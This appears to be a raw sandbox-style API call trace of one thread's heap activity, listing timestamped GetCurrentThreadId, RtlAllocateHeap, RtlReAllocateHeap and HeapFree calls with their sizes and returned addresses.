[0075.734] GetCurrentThreadId () returned 0x9b0 [0075.734] GetCurrentThreadId () returned 0x9b0 [0075.735] GetCurrentThreadId () returned 0x9b0 [0075.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2498 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f638 [0075.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334f408 [0075.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350470 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.736] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de998, Size=0x14) returned 0x3183940 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] GetCurrentThreadId () returned 0x9b0 [0075.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350470 | out: hHeap=0x2ad0000) returned 1 [0075.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f408 | out: hHeap=0x2ad0000) returned 1 [0075.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f638 | out: hHeap=0x2ad0000) returned 1 [0075.737] GetCurrentThreadId () returned 0x9b0 [0075.737] GetCurrentThreadId () returned 0x9b0 [0075.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0075.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb70 [0075.737] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183860 [0075.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb70 | out: hHeap=0x2ad0000) returned 1 [0075.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846b0 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2620 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x42e) returned 0x3259e28 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2c40 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb80 [0075.738] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183b40 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb80 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84548 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b40 | out: hHeap=0x2ad0000) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84668 [0075.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84668 | out: hHeap=0x2ad0000) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x228) returned 0x33deaf8 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd330 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3354ef8 [0075.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdd330 | out: hHeap=0x2ad0000) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838a0 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.740] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183960 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844e8 | out: hHeap=0x2ad0000) returned 1 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84440 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0c18 | out: hHeap=0x2ad0000) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3570 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84548 [0075.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84548 | out: hHeap=0x2ad0000) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x325a260 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdbfa8 [0075.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183980 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84410 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb70 [0075.741] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb60, Size=0x14) returned 0x3183960 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb70 | out: hHeap=0x2ad0000) returned 1 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84410 | out: hHeap=0x2ad0000) returned 1 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3359dc8 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdbfa8 | out: hHeap=0x2ad0000) returned 1 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f3570 | out: hHeap=0x2ad0000) returned 1 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x228) returned 0x325a480 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdcc28 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3358280 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdcc28 | out: hHeap=0x2ad0000) returned 1 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839e0 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.742] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x3183920 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0075.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84578 | out: hHeap=0x2ad0000) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x228) returned 0x325a6b0 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdcf48 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3357358 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdcf48 | out: hHeap=0x2ad0000) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839c0 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb70 [0075.743] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183c20 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb70 | out: hHeap=0x2ad0000) returned 1 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c20 | out: hHeap=0x2ad0000) returned 1 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.744] GetCurrentThreadId () returned 0x9b0 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd330 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31839c0 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845d8 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba90 [0075.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.744] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba90, Size=0x14) returned 0x3183960 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845d8 | out: hHeap=0x2ad0000) returned 1 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0075.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.745] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84440, Size=0x20) returned 0x3028558 [0075.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84650 [0075.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x325a8e0 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd3f8 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838e0 [0075.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x31839e0 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84680 | out: hHeap=0x2ad0000) returned 1 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3358890 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdd3f8 | out: hHeap=0x2ad0000) returned 1 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2dc8 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84698 [0075.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84698 | out: hHeap=0x2ad0000) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x325ab00 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdca98 [0075.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a60 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84488 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.747] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183840 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84488 | out: hHeap=0x2ad0000) returned 1 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3357660 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdca98 | out: hHeap=0x2ad0000) returned 1 [0075.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2dc8 | out: hHeap=0x2ad0000) returned 1 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd718 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ae0 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183860 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c845a8 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845a8 | out: hHeap=0x2ad0000) returned 1 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x2cddf80 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdccf0 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183940 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845d8 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaf0, Size=0x14) returned 0x3183960 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845d8 | out: hHeap=0x2ad0000) returned 1 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3355e20 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdccf0 | out: hHeap=0x2ad0000) returned 1 [0075.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a18c68 [0075.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.750] GetCurrentThreadId () returned 0x9b0 [0075.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2ab8 [0075.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84620 [0075.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84620 | out: hHeap=0x2ad0000) returned 1 [0075.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x334f508 [0075.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc778 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b60 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183b20 [0075.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846e0 | out: hHeap=0x2ad0000) returned 1 [0075.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b60 | out: hHeap=0x2ad0000) returned 1 [0075.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b20 | out: hHeap=0x2ad0000) returned 1 [0075.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3354bf0 [0075.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdc778 | out: hHeap=0x2ad0000) returned 1 [0075.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2ab8 | out: hHeap=0x2ad0000) returned 1 [0075.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2f50 [0075.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd588 [0075.752] GetCurrentThreadId () returned 0x9b0 [0075.752] 